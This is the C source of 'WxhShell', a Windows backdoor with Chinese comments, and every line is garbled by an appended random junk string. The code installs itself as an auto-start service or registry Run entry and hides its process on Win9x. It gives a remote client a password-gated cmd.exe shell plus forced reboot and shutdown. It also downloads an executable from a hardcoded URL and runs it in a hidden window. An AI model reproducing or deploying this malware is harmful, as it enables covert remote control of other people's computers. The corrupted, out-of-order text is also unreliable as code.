    if(Boot(SHUTDOWN))  MI!C%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Aj}s3v  
    else { O@'/B" &  
    closesocket(wsh); xg/3*rL  
    ExitThread(0); &I:5<zK{  
    } ;->(hFJt  
    break;  EP'2'51  
    } TNUzNA  
  // 获取shell U=QV^I Qm  
  case 's': { 9EK5#_L[=  
    CmdShell(wsh); -j`tBv)  
    closesocket(wsh); @ bPQhn#(g  
    ExitThread(0); HzF  
    break; X&TTw/J!^  
  } /^ i7^  
  // 退出 bwqla43gX  
  case 'x': { bB->\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); siZw-.  
    CloseIt(wsh); ]P<u^ `{*  
    break; \d2Ku10v[  
    } 't{~#0d=  
  // 离开 w{UVo1r:  
  case 'q': { ux& WN ,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D1;H,  
    closesocket(wsh); A|I7R -  
    WSACleanup(); <6)Ogv",  
    exit(1); vtKQvQ  
    break; i!LEA/"V  
        } /w^}(IJ4  
  } 8Sd<!  
  } '0[D-jEr  
']4b}F:}  
  // 提示信息 !<Ma9%uC{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )AEJ` xC  
} U ]`SM6  
  } M^AwOR7<  
']WS@MbJ  
  return; Fc M  
} [ma'11?G  
3'}(:X(  
// shell模块句柄 z Xx HaM  
int CmdShell(SOCKET sock) ARGtWW~:  
{ O; 7`*}m  
STARTUPINFO si; ] +<[D2f  
ZeroMemory(&si,sizeof(si)); I} m\(TS-"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D>|m8-@]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pwtB{6)VH{  
PROCESS_INFORMATION ProcessInfo; N_rz~$|@9  
char cmdline[]="cmd"; T!0o(Pp<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w=Ac/ 12  
  return 0; ON.C%-T-  
} N DZ :`D  
zePVB -@u  
// 自身启动模式 HQJ_:x Y  
int StartFromService(void) 5ltEnvN  
{ zP$0B!9  
typedef struct {+%|n OWV  
{ j*+[=X/  
  DWORD ExitStatus; @iwVU]j  
  DWORD PebBaseAddress; VW:WB.K$  
  DWORD AffinityMask; HX%lL }E  
  DWORD BasePriority; v._Q XcE  
  ULONG UniqueProcessId; rp^= vfW  
  ULONG InheritedFromUniqueProcessId; >-J%=P  
}   PROCESS_BASIC_INFORMATION; :>4pH  
z*n  
PROCNTQSIP NtQueryInformationProcess; s.7\?(Lg  
sQUJ]h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v|fA)W w  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hvqvggfi  
sA$x2[*O  
  HANDLE             hProcess; $;7,T~{  
  PROCESS_BASIC_INFORMATION pbi; Wi7!J[ B  
VBnD:w"z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cq:<,Ke  
  if(NULL == hInst ) return 0; (mbC! !>  
011 N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e.-+zkQ8EI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7QV@lR<C2R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); " kp+1sG8  
E)w6ZwV  
  if (!NtQueryInformationProcess) return 0; O?\UPNb:K  
[bM$n m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )S?.YCv?  
  if(!hProcess) return 0; "#}Uh  
TQ`s&8"P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h0**[LDH  
t&|M@Ouet  
  CloseHandle(hProcess); 5rp,xk!  
]hE%Tk-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (sM$=M<$  
if(hProcess==NULL) return 0; C_> WU   
'O>p@BEK  
HMODULE hMod; 9;2{=,  
char procName[255]; '`s\_Q)hG_  
unsigned long cbNeeded; kXW5bR  
)<ig6b%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !m]_tB  
<S[]VXy  
  CloseHandle(hProcess); up_Qv#`Q  
%u=b_4K"j  
if(strstr(procName,"services")) return 1; // 以服务启动 Oq3aboAt  
3R|Ub G`  
  return 0; // 注册表启动 >wSrllmj@  
} (JMk0H3u  
%Z~0vwY  
// 主模块 Cx~,wk;=  
int StartWxhshell(LPSTR lpCmdLine) ,"e n7  
{ 'kuLkM,  
  SOCKET wsl; ]g] ]\hS  
BOOL val=TRUE; cnw?3/J  
  int port=0; C[ma!he  
  struct sockaddr_in door; y':JUwUN  
yC&u^{~BC  
  if(wscfg.ws_autoins) Install(); iQd,xr  
5,_DM  
port=atoi(lpCmdLine); e^=b#!}-5:  
(e"\%p`  
if(port<=0) port=wscfg.ws_port; "J(T?|t  
Z Jgy!)1n  
  WSADATA data; c)`=wDi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PAD&sTjE*  
N({0"7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5M v<8P~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MSqW {  
  door.sin_family = AF_INET; 99GK6}~TGm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [iXkv\  
  door.sin_port = htons(port); ^\ku}X_ [?  
~J:qG9|]}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $V870 <  
closesocket(wsl); aG&t gD{  
return 1; mXwDB)O{)  
} ;$Pjl8\  
Um~DA  
  if(listen(wsl,2) == INVALID_SOCKET) { gmUX 2x(  
closesocket(wsl); P=<>H9p:o  
return 1; ^ *1hz<  
} yedEI[_4  
  Wxhshell(wsl); {Gvv^.H7  
  WSACleanup(); 1v~1?+a\2  
Oa-(Xp,n#  
return 0; 'T+v&M  
aY8QYK ;?^  
} Oil~QAd,  
&gdhq~4#  
// 以NT服务方式启动 $!goM~pZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]KM3G  
{ <4:%M  
DWORD   status = 0; GdVrl[  
  DWORD   specificError = 0xfffffff; i%GNm D  
nN%Zed2O@6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4N(iow4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v*JXrB&x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VQ7A"&hh  
  serviceStatus.dwWin32ExitCode     = 0; XK{KFB-  
  serviceStatus.dwServiceSpecificExitCode = 0; cqG&n0zb  
  serviceStatus.dwCheckPoint       = 0; B8`!A  
  serviceStatus.dwWaitHint       = 0; _ SJ Fuv/  
y=&^=Z h[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sTmdoqTK!  
  if (hServiceStatusHandle==0) return; c[+uwO~  
>@0U B@  
status = GetLastError(); _/z3QG{Ea^  
  if (status!=NO_ERROR) `^df la  
{ ==npFjB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H;N6X y*~  
    serviceStatus.dwCheckPoint       = 0; FT6~\9m(  
    serviceStatus.dwWaitHint       = 0; F;8Uvj  
    serviceStatus.dwWin32ExitCode     = status;  $ucmE  
    serviceStatus.dwServiceSpecificExitCode = specificError; J+ uz{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); avb'dx*q>  
    return; u>*d^[zS  
  } =`g@6S  
,CIsZ1[VS  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; glomwny  
  serviceStatus.dwCheckPoint       = 0; -5y=K40  
  serviceStatus.dwWaitHint       = 0; ~\OZEEI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i4\DSQJ  
} i#%!J:_=  
*6wt+twH  
// 处理NT服务事件,比如:启动、停止 M.K%;j`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c,Yd#nokC  
{ A>C8whx  
switch(fdwControl) 4tlLh`-8  
{ jJ3dZ<#  
case SERVICE_CONTROL_STOP: YSr u5Q  
  serviceStatus.dwWin32ExitCode = 0; Z$y~:bz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qS[KB\RN1  
  serviceStatus.dwCheckPoint   = 0; % U|4%P  
  serviceStatus.dwWaitHint     = 0; Yu: !l>  
  { "H|hN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lnc>O'<5P9  
  } J0 UF(  
  return; -"5r-qq*  
case SERVICE_CONTROL_PAUSE: uF\ ;m.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UF;iw  
  break; R] " jr  
case SERVICE_CONTROL_CONTINUE: zh Vkn]z~*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O~c\+~5M*  
  break; ]O0:0Z\  
case SERVICE_CONTROL_INTERROGATE: S?u@3PyJm  
  break; ~IQw?a.E  
}; ok/{ w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u&r+ylbs I  
} jfjT::f>l  
(tQ0-=z  
// 标准应用程序主函数 :|N(:W>=$Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1? Im"  
{ =-;J2Qlg6  
I2)#."=Ew  
// 获取操作系统版本 @(any ^QJ  
OsIsNt=GetOsVer(); c;7`]}fGu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )BmO[AiOM  
^gY3))2_  
  // 从命令行安装 WoWmmZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); sJ7ZE-v]h  
/EV _Y|(-  
  // 下载执行文件 2py [P  
if(wscfg.ws_downexe) { wg=-&-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Iz9b5  
  WinExec(wscfg.ws_filenam,SW_HIDE); =4804N7  
} uol EX+  
%Iv*u sXP  
if(!OsIsNt) { UJk/Lxv  
// 如果时win9x,隐藏进程并且设置为注册表启动 7(B"3qF8|  
HideProc(); ,7ZV;f 81  
StartWxhshell(lpCmdLine); e#s-MK-Q  
} -}9>#<v  
else DGO\&^GT^  
  if(StartFromService()) qORRpWyx&  
  // 以服务方式启动 9;tY'32/  
  StartServiceCtrlDispatcher(DispatchTable); A3Oe=rB  
else T[eb<  
  // 普通方式启动 |yVveJ  
  StartWxhshell(lpCmdLine); 3pjK`"Nmz\  
R 3@luT]  
return 0; abkt&981K+  
} i]}`e>fF  
 _!E)a  
um*!+Q  
Og<nnq  
=========================================== IRIYj(J  
h9I vuv'  
zaG1  
.?)gn]#  
d#-'DO{k  
Z^O_7I<5E  
" =jkiM_<h  
z65Q"A  
#include <stdio.h> >wf.C%  
#include <string.h> U$7]*#@&  
#include <windows.h> 1 i/&t[  
#include <winsock2.h> :4/37R(~l8  
#include <winsvc.h> @k3xk1*  
#include <urlmon.h> tPaNhm[-q7  
u_jhmKr~  
#pragma comment (lib, "Ws2_32.lib")  C^*3nd3  
#pragma comment (lib, "urlmon.lib") ][1 iKT  
.dKFQH iYJ  
#define MAX_USER   100 // 最大客户端连接数 JXq l=/%  
#define BUF_SOCK   200 // sock buffer IM=3n%6  
#define KEY_BUFF   255 // 输入 buffer x`JhNAO>  
x@? YS  
#define REBOOT     0   // 重启 ?<STl-]&  
#define SHUTDOWN   1   // 关机 {3eg4j.Z  
Z~v-@  
#define DEF_PORT   5000 // 监听端口 X{ f#kB]w  
PgdHH:v)  
#define REG_LEN     16   // 注册表键长度 A8T8+M:  
#define SVC_LEN     80   // NT服务名长度 &*# Obv  
=:_DXGW2H  
// 从dll定义API L)X[$:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lw=!v%L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `&URd&ouJD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Dy|)u1?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DC(u,iW%6  
:N64FR#  
// wxhshell配置信息 vJ{aBx`VS  
struct WSCFG { Y+!z]S/x  
  int ws_port;         // 监听端口 GUC.t7!  
  char ws_passstr[REG_LEN]; // 口令 HcCT=x7:  
  int ws_autoins;       // 安装标记, 1=yes 0=no |vtj0 ,[  
  char ws_regname[REG_LEN]; // 注册表键名 D\^\_r):  
  char ws_svcname[REG_LEN]; // 服务名 2Z+:^5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7UsU03  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (O"-6`w[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S#*aB2ZS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +;bP.[Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7x#."6>Dy  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 11?d,6Jl  
 }~Ir &   
}; 8 `}I]  
K)W:@,*  
// default Wxhshell configuration ffR<G&"n~b  
struct WSCFG wscfg={DEF_PORT, :gTtWJ04]  
    "xuhuanlingzhe", +g&M@8XO&  
    1, _K3;$2d|R  
    "Wxhshell", RC!9@H5S#  
    "Wxhshell", 5Kl;(0B9  
            "WxhShell Service", s9,Z}]Th  
    "Wrsky Windows CmdShell Service", yb) a  
    "Please Input Your Password: ", /" @cv{  
  1, } p `A>  
  "http://www.wrsky.com/wxhshell.exe", J+m1d\lBu  
  "Wxhshell.exe" ?*&5`Xh  
    }; \.YJs"<3  
EbnV"]1  
// 消息定义模块 .*&F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DFp">1@`PR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +LF`ZXe8l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6 -BC/  
char *msg_ws_ext="\n\rExit."; B^Hh rz!  
char *msg_ws_end="\n\rQuit."; ZG( Pz9{K  
char *msg_ws_boot="\n\rReboot..."; @3`Pq2<  
char *msg_ws_poff="\n\rShutdown..."; %R  P\,|  
char *msg_ws_down="\n\rSave to "; g`dAj4B  
#N'bhs  
char *msg_ws_err="\n\rErr!"; H18pVh  
char *msg_ws_ok="\n\rOK!"; :{%~L4$HI  
R%6KxN)+@  
char ExeFile[MAX_PATH]; {R?VB!dR  
int nUser = 0; Bo0f`EC I  
HANDLE handles[MAX_USER]; A`*Sx"~jdx  
int OsIsNt; X'p%K/-m  
|%@pjJ`3  
SERVICE_STATUS       serviceStatus; 03gYl0B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^1bM=9]F0  
|eK^Yhym  
// 函数声明 U% OlYP$g  
int Install(void); -'T^gEd) c  
int Uninstall(void); H^+Znmo  
int DownloadFile(char *sURL, SOCKET wsh); uOPLJ?%  
int Boot(int flag); ''}2JJU{  
void HideProc(void); ijmGk:L(  
int GetOsVer(void); J7wIA3.O  
int Wxhshell(SOCKET wsl); \hP.Q;"MtO  
void TalkWithClient(void *cs); p. KT=dZT  
int CmdShell(SOCKET sock); 7GRPPh<4  
int StartFromService(void); 5C-XQS1  
int StartWxhshell(LPSTR lpCmdLine); ?~<NyJHN%  
5ljEh -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q-qz-cR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ak zKX}  
M:oZk&cs  
// 数据结构和表定义 JvYs6u  
SERVICE_TABLE_ENTRY DispatchTable[] = "Fz1:VV&  
{ |}Z2YDwO/  
{wscfg.ws_svcname, NTServiceMain}, d?aZk-|c  
{NULL, NULL} .f`KP!p.  
}; | CPyCM$  
\pXo~;E\  
// 自我安装 o@ @|4 F  
int Install(void) gdS@NUM  
{ Tj6kCB  
  char svExeFile[MAX_PATH]; eg"A?S  
  HKEY key; FY pspv?4  
  strcpy(svExeFile,ExeFile); fDAT#nlyp  
lqvP Dz  
// 如果是win9x系统,修改注册表设为自启动 { }P~nP  
if(!OsIsNt) { 1V-sibE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &.JJhX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;#=y5Q4  
  RegCloseKey(key); XV1XzG#C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DS;.)P"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7h`t-6<!q  
  RegCloseKey(key); WQMoAPfqL  
  return 0; yh{U!hG  
    } b1yS1i D  
  } o0TB>DX$`  
} 63kZ#5g(Dw  
else { S7j U:CLJ  
9[h8Dy  
// 如果是NT以上系统,安装为系统服务 p,14'HS%@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M|7][! <G!  
if (schSCManager!=0) 6E9o*YSk  
{ y w:=$e5  
  SC_HANDLE schService = CreateService XI"IEwB  
  ( >J{e_C2ZS  
  schSCManager, qyjVB/ko  
  wscfg.ws_svcname, *vT Abk$   
  wscfg.ws_svcdisp, u/%Z0`X  
  SERVICE_ALL_ACCESS, h;A~:}c,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @_?Uowc8  
  SERVICE_AUTO_START, GN+!o($  
  SERVICE_ERROR_NORMAL, MHS|gR.c  
  svExeFile, kArF Gb2c  
  NULL, (O/W`qo  
  NULL, le6eorK8  
  NULL, u]P9ip"Z  
  NULL, 6\? 2=dNX  
  NULL _)6r@fZ.p  
  ); +pe\9F  
  if (schService!=0) E,QD6<?[  
  { AvB21~t&]  
  CloseServiceHandle(schService); QT4vjz+|  
  CloseServiceHandle(schSCManager); n>,? V3ly  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); B^.:dn  
  strcat(svExeFile,wscfg.ws_svcname); +NoVe#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { df/7u}>9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _5o5/@  
  RegCloseKey(key); ]ClqX;'weJ  
  return 0; <ka zV<"  
    } xu >grj  
  }  WfQZ7e  
  CloseServiceHandle(schSCManager); i]& >+R<6  
} K14v6d  
} DIgur}q)@  
~|ha9 1  
return 1; u ^M'[<{  
} KK4rVb:-  
fsWPU]\)  
// 自我卸载 mqDI'~T9 u  
int Uninstall(void) C1OiMb(:  
{ Ac\e>N  
  HKEY key; 2B+qS'OT  
eL [.;_  
if(!OsIsNt) { azG"Mt |7Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *P?Rucg  
  RegDeleteValue(key,wscfg.ws_regname); /&l4 sF1  
  RegCloseKey(key); =+H,}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  xF*i+'2  
  RegDeleteValue(key,wscfg.ws_regname); [4+I1UR`  
  RegCloseKey(key); w,t !<i  
  return 0; HTSk40V  
  } >b8-v~o{  
} 'Jd*r(2d  
} M3eFG@,  
else { 8_M"lU0[  
3il$V78|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EIF  
if (schSCManager!=0) y s[z[  
{ @0%[4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k&npC8oA  
  if (schService!=0) :mt<]Oy3  
  { rx@2Dmt6  
  if(DeleteService(schService)!=0) { lkJe7 +s  
  CloseServiceHandle(schService); s0DT1s&  
  CloseServiceHandle(schSCManager); RQ4+EW 1G  
  return 0; NTVaz.  
  }  vSo1WS  
  CloseServiceHandle(schService); [EK@f,iM  
  } wM}AWmH  
  CloseServiceHandle(schSCManager); i/ PL!'oq  
} [rz5tfMp  
} @S 0mNA  
H%0WD_  
return 1; D5Z)"~'  
} %eGI]!vf  
Bve',.xH  
// 从指定url下载文件 AuY*x;~  
int DownloadFile(char *sURL, SOCKET wsh) nd w&F'.r  
{ Uy@:-NC)kn  
  HRESULT hr; #VxN [770  
char seps[]= "/"; ^-F#"i|Cn  
char *token; t_+owiF)M  
char *file; k7]4TIUD*  
char myURL[MAX_PATH]; |o@U L  
char myFILE[MAX_PATH]; Iu^I?c[  
+`!>lo{X  
strcpy(myURL,sURL);  j}w  
  token=strtok(myURL,seps); 5Ha(i [d  
  while(token!=NULL) EA z>`~  
  { uH#X:Vne  
    file=token; kIRjoKf<F  
  token=strtok(NULL,seps); 7cO1(yE#vr  
  } /v.<h*hxWy  
2'Raj'2S4  
GetCurrentDirectory(MAX_PATH,myFILE); { T<[-"h  
strcat(myFILE, "\\"); 0v``4z2Z  
strcat(myFILE, file); w|4CBll  
  send(wsh,myFILE,strlen(myFILE),0); g"`jWSt7Q  
send(wsh,"...",3,0); )( pgJLW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r4 qs!(  
  if(hr==S_OK) =L`PP>"rW  
return 0; :d~mlyFI6P  
else %v UUx+  
return 1; =%|f-x  
SZ:R~4 A  
} ($ gmN 4  
n^nQrRIp  
// 系统电源模块 R _2#7Xs  
int Boot(int flag) B_C."{G  
{ ZgmK~iJ  
  HANDLE hToken; v~0lZe  
  TOKEN_PRIVILEGES tkp; g!i45]6[Nw  
!uA'0U?ky  
  if(OsIsNt) { BM5)SgK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =6N=5JePB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bNHs jx@  
    tkp.PrivilegeCount = 1; *z]P|_:&G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3h6,x0AG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3wQ\L=  
if(flag==REBOOT) { nYO$ |/e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bPMf='F{r  
  return 0; v7v>  
} DmZ_tuVI  
else { &E@mCQ1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I*pFX0+  
  return 0; 4-9cp=\PE  
} ^P`I"T d  
  } kmt+E'^]  
  else { }:*?w>=  
if(flag==REBOOT) { VeH%E.:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }S%}%1pG7  
  return 0; g^U-^ f  
} w1 A-_  
else { 2\gbciJ[{(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xscR Bx  
  return 0; (1'sBm7F  
} mn(MgJKQ\  
} ObataUxQT  
\2Kl]G(w%y  
return 1; C*Q x  
} TC ;Aj|)N  
kn WI7  
// win9x进程隐藏模块 [TT:^F(Y  
void HideProc(void) |r4&@)  
{ Ey_mK\'  
:4pO/I ~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o+\?E.%%g  
  if ( hKernel != NULL ) e)i-$0L"  
  { dhuIVBp!!e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Eb8z`@p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VD{_6  
    FreeLibrary(hKernel); }-&#vP~I  
  } YLV$#a3  
Xg}~\|n  
return; fJi?~[5<  
} PG'I7)Bv  
0b2;  
// 获取操作系统版本 /FcwsD\=$  
int GetOsVer(void) |~=4Z rcCP  
{ 0JhUncx  
  OSVERSIONINFO winfo; DyQvk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ! n?j)p.  
  GetVersionEx(&winfo); T8vMBaU!qY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |8\et  
  return 1; be.Kx< I  
  else i^/ H>E%u  
  return 0; ,UD5>Ai  
} ~>}7+p ?;  
UZE%!OWpeK  
// 客户端句柄模块 dw7h@9\ y  
int Wxhshell(SOCKET wsl) ?\a';@h  
{ <%oT}K\;  
  SOCKET wsh; d UiS0Qs}  
  struct sockaddr_in client; L/O:V^1  
  DWORD myID; `]<~lf  
"C+Fl /v  
  while(nUser<MAX_USER) ,Lw '3  
{ ,q Bu5t  
  int nSize=sizeof(client); cp+eh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 79U 7<]-!  
  if(wsh==INVALID_SOCKET) return 1; r}t%DH  
8V:yOq10  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @wXo{p@W  
if(handles[nUser]==0) ;'|t>'0_  
  closesocket(wsh); Rs 0Gqx  
else GZ"J6/0-|  
  nUser++; N,`<:'  
  } y#e<]5I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hC2Ra "te)  
[kZe6gYP&  
  return 0; |7G=f9V  
} BP@Lhii  
=[^_x+x hE  
// 关闭 socket fehM{)x2:  
void CloseIt(SOCKET wsh) o=do L{ #  
{ $e![^I]`  
closesocket(wsh); a~[]Ye@H  
nUser--; _l.kbfp@  
ExitThread(0); !rgdOlTR^  
} p:^;A/D  
L+" 5g@  
// 客户端请求句柄 RIxGwMi%  
void TalkWithClient(void *cs) jQ Of+ZE  
{ imf_@_  
LgS.%Mn  
  SOCKET wsh=(SOCKET)cs; YQ<O .E  
  char pwd[SVC_LEN]; las|ougLy  
  char cmd[KEY_BUFF]; v\ Xk6k  
char chr[1]; <rFY$ ?x  
int i,j; _}wy|T&7k&  
s&zg!~@5b  
  while (nUser < MAX_USER) { C$$lJ=>  
|Xl,~-.  
if(wscfg.ws_passstr) { 'm+)n08[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z"G@I= Q(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g4*]R>f  
  //ZeroMemory(pwd,KEY_BUFF); ySwvjP7f  
      i=0; nXqZkZE\  
  while(i<SVC_LEN) { 9:l>FoXS  
%8yX6`lH  
  // 设置超时 c~+l|r=u?  
  fd_set FdRead; QA&BNG  
  struct timeval TimeOut; g4^df%)&  
  FD_ZERO(&FdRead); &U8W(NxN  
  FD_SET(wsh,&FdRead); -kd_gbnr3  
  TimeOut.tv_sec=8; 9:tKRN_D  
  TimeOut.tv_usec=0; ~?n)1Vr|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2@S{e$YK`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B? r[|  
9 &~Rj 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q2[D|{Z  
  pwd=chr[0]; C0F#PXU y  
  if(chr[0]==0xd || chr[0]==0xa) { @cZNoD  
  pwd=0; 7:t *&$  
  break; bqAv)2  
  } Vee`q.  
  i++; 7$7Y)&\5 w  
    } skn`Q>a  
9RoN,e8!  
  // 如果是非法用户,关闭 socket =@>[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V{[vIt*  
} n1xN:A  
L 59q\_|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $z~sN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :8bz+3p  
NQ@."8  
while(1) { X,<n|zp  
wV;qc3  
  ZeroMemory(cmd,KEY_BUFF); }pa@qZXh  
"$tP>PO{<  
      // 自动支持客户端 telnet标准   e8@@Pi<sB  
  j=0; KN;b+`x;M  
  while(j<KEY_BUFF) { Ncu\;K\N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~E=.*: 5(  
  cmd[j]=chr[0]; (:>: tcE  
  if(chr[0]==0xa || chr[0]==0xd) { Y.qlY3iBp  
  cmd[j]=0; i!30f^9D-S  
  break; P2h}3%cJq  
  } ~'e/lX9g-  
  j++; sSC yjS'T  
    } Oi=>Usd  
EF?@f{YY$n  
  // 下载文件 40}8EP k)  
  if(strstr(cmd,"http://")) { 7  Znr2I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2c.~cNx`q[  
  if(DownloadFile(cmd,wsh)) 1Ig@gdmz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A`4j=OF\  
  else Wm nsD!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (DCC4%w"  
  } N&!qu r \  
  else { y8Bi5Ae,+1  
I#D{6%~  
    switch(cmd[0]) { n_%JXm#\  
